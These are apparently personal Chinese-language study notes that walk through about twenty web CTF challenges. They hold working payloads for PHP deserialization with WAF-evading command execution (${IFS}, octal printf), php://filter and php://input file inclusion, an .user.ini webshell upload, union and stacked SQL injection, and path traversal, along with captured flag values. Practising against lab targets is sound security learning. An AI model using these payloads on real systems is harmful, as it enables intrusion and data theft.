CTF题目合集

1.反序列化题目

1.分析是什么类型的漏洞:观察代码 可知运用了反序列化函数 且它的参数可控 其次运用了wakeup函数 说明存在反序列话的漏洞

2.分析代码的思路

1. $ctf=@$_POST['ctf']; 用post 方式接受ctf这个参数

@unserialize(base64_decode($ctf)); 对ctf参数先进行base64的解码 然后对解码内容进行了反序列化

2. function __wakeup(){

foreach($this->args as $k => $v) {

$this->args[$k] = $this->waf($v);

}

反序列化之后就会调用wakeup这个函数 : 这个函数的内容 是对参数的内容进行了循环遍历 执行WAF函数的内容

3. function waf($str){

if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {

return $str;

} else {

echo "don't hack";

}

这个WAF函数 是执行了过滤的操作 对参数的内容进行的过滤 过滤了 如下这些内容

  1. 在WAF这段PHP脚本结束后 就会执行destruct这个函数 这个函数进行了判断 如果$this->method 包含了ping这个方法 就使用这个函数 call_user_func_array
  2. call_user_func_array 这个函数的作用:call_user_func_array() 函数的作用是以回调函数的方式调用一个函数,并将一个数组作为参数传递给该函数。

在给定的代码中,call_user_func_array(array($this, $this->method), $this->args) 的作用是调用对象 $this 的方法 $this->method(也就是调用ping函数的方法 也就是destruct下面那个ping函数),并将 $this->args 数组作为参数传递给该方法。

这种用法通常用于动态地调用对象的方法,并根据需要传递不同的参数。通过将方法和参数封装到一个数组中,可以实现更灵活的调用方式。例如,可以在运行时决定要调用哪个方法,以及传递什么样的参数。

  1. 所以可以看出来这个$this->method调用的是ping这个方法 args就是所要传的参数 所以 从这里就可以看出来ctf需要传两个内容 一个是ping 另一个就是ping的内容了
  2. 所以下面那个ping函数的内容那个$ip就是参数的内容 所以现在就需要构造这个参数的内容
  3. 所以现在就需要构造payload 构造payload时候需要一个new ease的函数
  4. new ease 是创建 ease 类的一个对象实例。它使用 new 关键字来实例化一个对象,将 ease 类实例化为一个对象,使得该对象可以调用类中定义的方法和属性
  5. 开始构造payload 首先需要ls一下 看看有没有flag的文件 由于 ls被过滤了 可以但那时\没有被过滤 所以我们可以使用l\s来绕过 因为在linux中 是可以这样拼接命令的 l\仍会继续 你继续输入s后会执行ls的命令
method = $method;
        $this->args = $args;
    }
 
    function __destruct(){
        if (in_array($this->method, array("ping"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    } 
 
    function ping($ip){
        exec($ip, $result);
        var_dump($result);
    }
    function waf($str){
        if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
            return $str;
        } else {
            echo "don't hack";
        }
    }
 
    function __wakeup(){
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf($v);
        }
    }   
}
$payload = new ease ('ping',array('l\s'));
echo base64_encode(serialize($payload));
  1. 39 40 行就是写的payload newease函数 调用了ping这个类的方法 后面跟的数组array就是那个$ip的内容 然后这个内容就会调用exec这个命令中 去执行 返回result 然后源代码中也会输出这个result的内容
  2. 其次需要用burp来抓包 注意一开始抓包是get的请求 我们需要改成post 方法如下:

  3. 然后发送到repeater的模块

  4. 注意post请求发参数的形式就是这样的 并且在render模块进行查看
  5. ls 后可以发现有flag的文件(也可能是目录) 接下来我们需要查看这个文件(目录)的内容来获得flag 我们需要继续修改payload的内容 $payload = new ease ('ping',array('l\s${IFS}fl\ag_1s_here'));
  6. 找到文件后我们需要查看这个文件的内容
  7. 但是现在需要查看这个文件的内容就需要more + 这个目录 + \ + 这个文件的名字
  8. 但是这里不能直接用\ 我们需要用8进制编码来输出这个\ :\57
  9. 应该如何输出这个东西呢:在linux环境下 $(printf${IFS}"\57") 这样就会输出 \ 注意括号必须加上
  10. payload 为 more${IFS}fl\ag_1s_here$(printf${IFS}"\57")fl\ag_831b69012c67b35f.p\hp
  11. 获得flag

2.file_include题目

highlight_file(__FILE__);

include("./check.php");

if(isset($_GET['filename'])){

$filename = $_GET['filename'];

include($filename);

}

?>

  1. 首先get方式传一个filename的参数
  2. 然后包含他
  3. 这里的思路:通过php的伪协议(php:filter//)来获取flag(猜测存放flag的文件是flag.php)
  4. # 明文读取

?filename=php://filter/resource=flag.php

发现并没有回显,猜测可能是页面源码里面有

发现并没有可能是被注释掉了

# 编码读取

?filename=php://filter/read=convert.base64-encode/resource=flag.php

  1. 尝试用base64过滤器的方法 并没有得到flag但是可以了解flag确实是在flag.php中
  2. 接下来尝试其他的过滤器的方法
  3. convert.base64

convert.base64-encode和 convert.base64-decode使用这两个过滤器等同于分别用base64_encode()和base64_decode()函数处理所有的流数据。convert.base64-encode支持以一个关联数组给出的参数。如果给出了line-length,base64 输出将被用line-length个字符为 长度而截成块。如果给出了line-break-chars,每块将被用给出的字符隔开。这些参数的效果和用base64_encode()再加上 chunk_split()相同。

convert.quoted

convert.quoted-printable-encode和convert.quoted-printable-decode使用此过滤器的decode版本等同于用 quoted_printable_decode()函数处理所有的流数据。没有和convert.quoted-printable-encode相对应的函数。convert.quoted-printable-encode支持以一个关联数组给出的参数。除了支持和convert.base64-encode一样的附加参数外,convert.quoted-printable-encode还支持布尔参数binary和 force-encode-first。convert.base64-decode只支持line-break-chars参数作为从编码载荷中剥离的类型提示。

convert.iconv.*

这个过滤器需要php支持 iconv ,而iconv是默认编译的。使用convert.iconv.*过滤器等同于用iconv()函数处理所有的流数据。

  1. 尝试使用convert.iconv.这个过滤器试试

利用方式如下:convert.iconv.utf8.utf8 必须后面跟两种字符编码的方式 但是如果一个一个试有点麻烦 用BP来多次进行尝试攻击

  1. ?filename=php://filter/convert.iconv.utf8.utf8/resource=flag.php
  2. 接下来在response上找有正常编码的flag即可
  3. flag为 cyberpeace{ec5a54fdd71ae884958c476bd0493f6e}

3.php代码审计

 6000000 && strlen($a) <= 3){
if(isset($b) && '8b184b' === substr(md5($b),-6,6)){
$key1 = 1;
}else{
die("Emmm...再想想");
}
}else{
die("Emmm...");
}
$c=(array)json_decode(@$_GET['c']);
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){
if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){
$d = array_search("DGGJ", $c["n"]);
$d === false?die("no..."):NULL;
foreach($c["n"] as $key=>$val){
$val==="DGGJ"?die("no......"):NULL;
}
$key2 = 1;
}else{
die("no hack");
}
}else{
die("no");
}
if($key1 && $key2){
include "Hgfks.php";
echo "You're right"."\n";
echo $flag;
}
?>Emmm... 
  1. 分析代码:
  2. $a = $_GET['a'];

    $b = $_GET['b'];

以get方式传ab两个参数

  1. if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3)
  2. 如果传了a得值并且a经过intval转化后的整数得值要>6000000 并且a得长度小于等于3,但是这里就会有一个矛盾得点 又得大于6000000又得长度小于3
  3. 我们可以用1e9来上传 1e9也就是 10的9次方这样就可以满足原题的条件
  4. if(isset($b) && '8b184b' === substr(md5($b),-6,6))
  5. 如果传了一个b的值 并且还得满足后面的条件
  6. 我们需要算出来这个b的值 用代码算即可
  7. 代码如下
 
  1. $c=(array)json_decode(@$_GET['c']);
  2. 解释这个代码 :
  • @$_GET['c']:这段代码首先尝试从GET请求中获取名为"c"的参数的值。
  • json_decode():然后使用json_decode()函数将获取到的JSON字符串解码为PHP对象。
  • (array):最后,使用类型转换操作符(array)将解码后的PHP对象转换为数组。

    举个例子,如果你通过URL发送了如下GET请求:

    Copy Codehttp://example.com/script.php?c={"name":"John","age":30}

    那么上面的PHP代码将把URL中的"c"参数值解析为JSON对象,并转换为PHP数组,类似于下面的结果:

    Copy Code$c = array(
        "name" => "John",
        "age" => 30
    );
    1. if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022)
    2. 如果c是数组 并且 !is_numeric(@$c["m"]) : 使用is_numeric函数检查数组$c中名为m的元素的值是否为数字 $c["m"] > 2022 : 并且这个m元素的值 需要大于2022
    3. 这里就又矛盾了 如果既要求m元素的值不是数字 还需要大于 2022 这里php有一个语言特性 2023m>2022 在进行比较时 php会取一个比较数中前面的数字来进行与后面的数字的比较

    4. if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){

      $d = array_search("DGGJ", $c["n"]);

      $d === false?die("no..."):NULL;

      foreach($c["n"] as $key=>$val){

      $val==="DGGJ"?die("no......"):NULL;

    5. 如果c中名为n元素的值是数组 并且这个数组中有两个元素 并且第1个元素的值也是数组
    6. 注意这个arraysearch是个弱类型的比较 是== 而不是 === 也就是说遍历c中n元素的值如果找到值==DGGJ 就继续下面的那个循环 如果找不到就返回FALSE 也就直接终止程序了
    7. 接下来进入下面那个循环时 又遍历c中n元素的值 找DGGJ如果找到就终止程序
    8. 这个时候就又有矛盾了 又需要值得等于DGGJ 又不能让她出现
    9. 这个时候就需要array_search 这个弱类型的比较了
    10. 因为他是== 而不是=== 这个时候 如果“cgy”==0 这个等式是 成立的

    11. 所以就可以这么进行绕过
    12. 所以最后的abc的参数为
    13. ?a=1e9&b=53724&c={"m":"2023x","n":[[],0]}
    14. 获得;flag

    4.fileclude(仍是文件包含伪协议绕过)

     WRONG WAY!
     

    分析代码:

    • 首先,它检查是否有名为"file1"和"file2"的GET参数传入。
    • 然后,将这两个参数的值分别赋给变量file1和file1和file2。
    • 接着,它检查file1和file1和file2是否都不为空。
    • 如果满足上述条件,并且file2的内容等于"hello ctf",那么它会包含file2的内容等于"helloctf",那么它会包含file1指定的文件。
    • 否则,会输出"NONONO"并终止程序。
      1. 现在需要上传file1与file2的值但是还必须将file2的值为hello ctf
      2. 仍在考php的伪协议
      3. 对于这个===hello ctf
      4. 需要用

      5. 对于file1则是??filename=php://filter/read=convert.base64-encode/resource=flag.php这段伪协议
      6. 又因为使用input这个命令执行的伪协议只能读取post中的data部分 需要抓包才能将data的内容改为hello ctf
      7. 最后的url为
      8. ?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=php://input
      9. 必须要在左边写hello ctf 才能使input函数读入这段字符串
      10. 因为是用base64编码的所以需要解码一下
      11. flag为cyberpeace{4ac5762a8c1149754fecc0727f8245f4}

      5.fileinclude

      考点:考了cookie的利用 以及文件包含php伪协议的利用

      1. 打开后发现页面没有源码什么的
      2. 用F12查看页面源代码试试
      3. 源码如下
      1. 查看源码后发现里面include有可控的变量 cookie 中的language
      2. 所以用BP抓包修改cookie中language的值 并用php伪协议来获取flag.php
      3. 发现并没有cookie的值 所以需要我们自己写
      4. 注意这个cookie的赋值必须在connection下面 并且这里将english赋给language后原来的报错没有了
      5. 证明填的位置正确了
      6. 所以只需要resource后面写flag即可 因为源码中拼接了.php
      7. 最后解码一下即可
      8. cyberpeace{b6408b005f630c84392534b561a3b11e} 得到flag

       6.easyupload

      考点:考文件上传漏洞

      1. 先上传.user.ini(必须是.user.ini文件 不能少点 要不然后面蚁剑连接不成功)文件使其包含一个图片 然后再上传一个图片,最后用蚁剑来连接
      GIF89a                  
      auto_prepend_file=a.jpg
      1. 题头GIF89a是为了防止后端检测这个文件的开头是不是JPG或者其他图片格式 可以绕过后端的检测
      2. 上传这个文件时用bp上传改一些内容也是防止后端检测
      3. 然后再上传一个jpg文件里面有一句话木马
      GIF89a
       
      1. 然后将格式改为jpg的格式 继续再bp repeater模块中检测
      2. 这里发现仍然上传不上去
      3. 可能是检测了内容 把php删掉改成=试试
      4. 上传成功
      5. 上传成功后,现在需要找到路径才能填蚁剑的那个地址
      6. 这个就是其地址
      7. 用蚁剑连接

      7.inget&robots

      由此可见是考SQL注入的

      1. 用万能钥匙来获得flag即可
      2. ?id=1'or 1=1 --+ 有时候需要双引号 有时候单引号 有时候不需要引号 即可获得flag

      1. 这道题考robots协议
      2. robots是搜索引擎爬虫协议,也就是你网站和爬虫的协议。

      简单的理解:robots是告诉搜索引擎,你可以爬取收录我的什么页面,你不可以爬取和收录我的那些页面。robots很好的控制网站那些页面可以被爬取,那些页面不可以被爬取。

      主流的搜索引擎都会遵守robots协议。并且robots协议是爬虫爬取网站第一个需要爬取的文件。爬虫爬取robots文件后,会读取上面的协议,并准守协议爬取网站,收录网站。

      robots文件是一个纯文本文件,也就是常见的.txt文件。在这个文件中网站管理者可以声明该网站中不想被robots访问的部分,或者指定搜索引擎只收录指定的内容。因此,robots的优化会直接影响到搜索引擎对网站的收录情况。

      1. 可以发现这里有flag的文件 所以我们直接在当前目录访问即可

      8. get_post&disabled_button&cookie

      1. 用BP抓包上传post方式b的值

      1. 遇到页面没有什么可利用的消息可以按F12来获取信息
      2. 把disable删掉即可
      3. 然后按下按钮

      1. 考察cookie的相关信息
      2. 按F12
      3. 发现有cookie.php
      4. 然后访问cookie.php

      5. 然后让我们看http response

      9.  备份文件&ics-06

      1. 猜测是目录扫描,从而找到flag的文件
      2. 扫描后发现这里是空的 点开后有一个文件自动下载

      1. 打开后发现只有这个页面可以打开
      2. 猜测是SQL注入 于是用SQLmap检测有没有sql注入的点
      3. 发现并没有
      4. 猜测id=1 这个整数1存在暴力破解
      5. 成功找到

      10. PHP2

      考点:URL解码:%+assic 16进制

      1. 页面上问的是:你能认证这个网站么
      2. 先F12查看有没有可利用的消息
      3. 发现并没有什么可利用的
      4. 尝试访问一下indedx.php
      5. 这道题考的是文件的后缀 phps:文件的源代码
      6. 例如 index.phps 查看的就是index.php的源代码
      7. 试着提交的id=admin (注意是在index.php上 而不是index.phps上)
      8. 发现是not allowed 但是源代码中id后经过了url解码 使得解码后的id 与admin相等
      9. 于是用url编码admin 但是 admin经过url编码后还是admin 没有变化
      10. url解码是 %+ascii16进制 (注意这里百分号 也得是ascii表的16进制形式)
      11. 所以这里将a改为 %2561 25为%的ascii16进制 61为小写字母a的ascii16进制

      11.robots

      1. 看了题目后猜测 是robots协议
      2. 然后继续查看flag的文件即可

      12. unserialize3&view_source

      核心思想:不让wakeup这个函数执行 只有反序列化异常的情况下(也就是属性值个数大于属性个数的时候即异常)

      有一个PHP的类:xctf

      有一个flag的对象

      wakeup的方法 如果触发了这个方法 就离开了 也就得不到flag的值

      ?code:将类以参数的形式传给xctf

      目标:1.反序列化xctf

      步骤:1.先序列化flag对象的值

      O:4:"xctf":2:{s:4:"flag";s:3:"111";}

      将1改成2即可绕过wakeup功能

      提交url即可

      注意:1.如果flag这个对象如果不是公有的对象是私有的话

      且如果编译出来的序列化内容 类与对象连在一起 需要在xctf与flag间加%00

      也就是改为 %00xctf%00flag

      注意这个%00不是空格而是url编码

      1. 题目介绍鼠标右键不管用了
      2. 按F12试试
      3. 查看页面源代码发现存在flag
      4. cyberpeace{911f212270286f4c4aa587e1216a9a49}

      13.weak_auth&simple_php

      1. 由这个的提示可以看出 用户名为admin
      2. 这时候需要猜密码
      3. 于是用BP的密码暴力破解
      4. 输错密码后发现是check.php
      5. F12查看页面源代码看看
      6. 发现给了个提示 说 你需要一个字典
      7. 所以用BP的暴力破解
      8. 发现flag

      1. 首先需要上传一个a的值 a的值必须等于0 而且a还得存在
      2. 这里输入?a=0试试 发现并没有反应 可能a=0是不存在的
      3. 输入 a=‘0’字符串试试
      4. 发现有反应了
      5. 接下来看b
      6. 这个b如果是数字的话就会退出 所以b不能是数字 但是不是数字还得大于1234
      7. 这里就有php一种弱语言的特性 比如 1235c>1234
      8. 所以b=1235c的话 就满足条件了

       14. NewsCenter(SQL注入)

      1. 查看页面后发现只有search new那一栏可以输入,尝试输入一些东西看看有没有什么变化的东西
      2. 输入1,2,3后分别有不同的内容回显
      3. 猜测是SQL注入
      4. 输入1' or 1=1 #后发现
      5. 回显了news的全部内容
      6. 查询可利用的字段
      7. 发现到4的时候跳转到了另一个界面
      8. 说明有三个可利用的字段
      9. 接下来用union联合查询查询哪几个字段有回显点
      10. 发现2和3有回显点
      11. 接下来就是查询数据库 表名 字段的数据
      12. 查询数据库:

      13. 查询表名:1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() #

      14. 查询字段名:1' union select 1,group_concat(column_name),3 from information_schema.columns

      where table_name="secret_table" # 注意secret_table 必须加上双引号 否则回显不了如果加上双引号也失败 可以将表名改为 十六进制 前面加上0x 例如:0x7365637265745f7461626c65 这样的目的是为了表示后面的数是16进制在编程里面一般都要加入 来区别十进制数

      1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7365637265745f7461626c65 # 注意 如果用16进制的话 就不需要加双引号了 同样有回显

      1. 接下来查询fl4g这个字段的数据
      2. 1' union select 1,fl4g,3 from secret_table #
      3. 得到flag

      15.upload1

      1. 看出文件上传漏洞
      2. 先上传一个ctf.php试试
      3. 发现还没点击上传就弹框了
      4. 这时候只需要禁用JS脚本即可
      5. 然后再次上传 发现上传成功
      6. 然后用蚁剑连接即可

      16.xff_referer

      1. 考http请求头 IP来源

      X-Forwarded-For 尝试这个

      1. 抓包写即可
      2. 接下来需要考虑http 的来源

      17.command_execution

      1. 远程代码执行漏洞
      2. 而且没有任何的WAF
      3. find / -name "flag*" :这行代码的意思是 从根目录是开始找 flag 以及flag后面仍有东西的文件

      18.web2

      1. 考点就是写一个解密算法 把源码倒过来写即可
       

      19.Web_php_unserialize

      1. 考点:如何绕过正则 如何绕过wake up 函数
      file = $file; 
          }
          function __destruct() { 
              echo @highlight_file($this->file, true); 
          }
          function __wakeup() { 
              if ($this->file != 'index.php') { 
                  //the secret is in the fl4g.php
                  $this->file = 'index.php'; 
              } 
          } 
      }
      if (isset($_GET['var'])) { 
          $var = base64_decode($_GET['var']); 
          if (preg_match('/[oc]:\d+:/i', $var)) { 
              die('stop hacking!'); 
          } else {
              @unserialize($var); 
          } 
      } else { 
          highlight_file("index.php"); 
      } 
      ?
      1. 分析代码
      2. 首先get方式提交一个var的参数 然后对其进行base64的解码 然后进行了正则表达式的判断
      3. 对正则表达式的理解:如果有o:数字 或者是c:数字 且oc不区分大小写(/i 这个起这个作用) 那么就终止代码 比如o:4
      4. 然后就进行反序列化 反序列化结束后就要进行wake up函数
      5. 这里不能使他进行wake up函数
      file = $file; 
          }
          function __destruct() { 
              echo @highlight_file($this->file, true); 
          }
          function __wakeup() { 
              if ($this->file != 'index.php') { 
                  //the secret is in the fl4g.php
                  $this->file = 'index.php'; 
              } 
          } 
      }
      $flag = new Demo('fl4g.php'); //注意加引号
      //O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
      //echo serialize($flag);
      $flag = serialize($flag);
      $flag = str_replace('O:4','O:+4',$flag);
      $flag = str_replace(':1:',':2:',$flag);
      echo base64_encode($flag);
      1. 对17行代码进行解释 首先实体化这个Demo对象 使file为fl4g.php
      2. 然后对他进行序列化
      3. 因为要绕过正则表达式 且这里只有一个o没有c 要绕过的话只需要在4那里变成+4即可
      4. 因为还得要反序列化后的结果 异常才不能进行wake up函数
      5. 所以还需要把1改成2其他数字都可以
      6. 最后再对其及逆行base64的编码即可
      7. 注意:这里为什么要进行字符的替换 而不是直接复制粘贴修改
      8. 因为 一开始输出序列化结果的时候

      9. Demo file 中有特殊字符(这个特殊字符不是空格 我试过没有成功),所以不能直接复制粘贴 只能在原基础上进行修改 所以采用字符的替换
      10. 最后得到flag

      20.supersqli

      1. 考察SQL注入
      2. 先看有没有注入点
      3. 发现将数据全部回显出来 说明有注入点
      4. 查看字段
      5. 所以发现字段有两个
      6. 接下来查看回显点
      7. 发现有正则表达式(过滤了上述 以及大小写形式) 阻止我们查看
      8. 但是他并没有过滤封号 所以考虑堆叠注入
      9. 发现有两张表 接下来查看表里面的列
      1';show columns from `1919810931114514`;#
      1. 注意查看列时表名为字符串时需要加反引号 而不是引号 ````
      2. 1';handler `1919810931114514` open as `a`;handler `a` read next;#
      3. 由于注释了select 所以需要其他方式来查看表中的数据
      4. 从而得到flag

       

      21. warmup

      1. 进来没有任何的提示
      2. 查看页面源代码看看有没有信息提示
      3. 发现这里注释了个source.php
      4. 查看一下内容
      5. 发现有源码
      6. 查看源码后发现白名单里还有一个hint.php查看一下内容
      7. 查看后发现flag真正在的地方(注意后面没有.php我这里打错了) 上面的那个就是原文件名字
      8. 试着查看一下
      9. 发现没有查看成功
      10. 查看源码后发现有四处if语句 只要有一处返回true就可以进行下面的文件包含 显示flag 但是文件包含还得包含那个含有flag的php文件 如果只是source.php的话 并不会显示flag 所以最后只能
      11. 补充:mb_strpos : 函数的用法是

      12. mb_substr:

      13. 构造payload:?file=source.php%3Fffffllllaaaagggg,无结果,主机尝试上级目录,直至
        ?file=source.php%3F../../../../../ffffllllaaaagggg,发现结果!
      14. 补充:include 可以包含多个文件 所以payload可以那么构造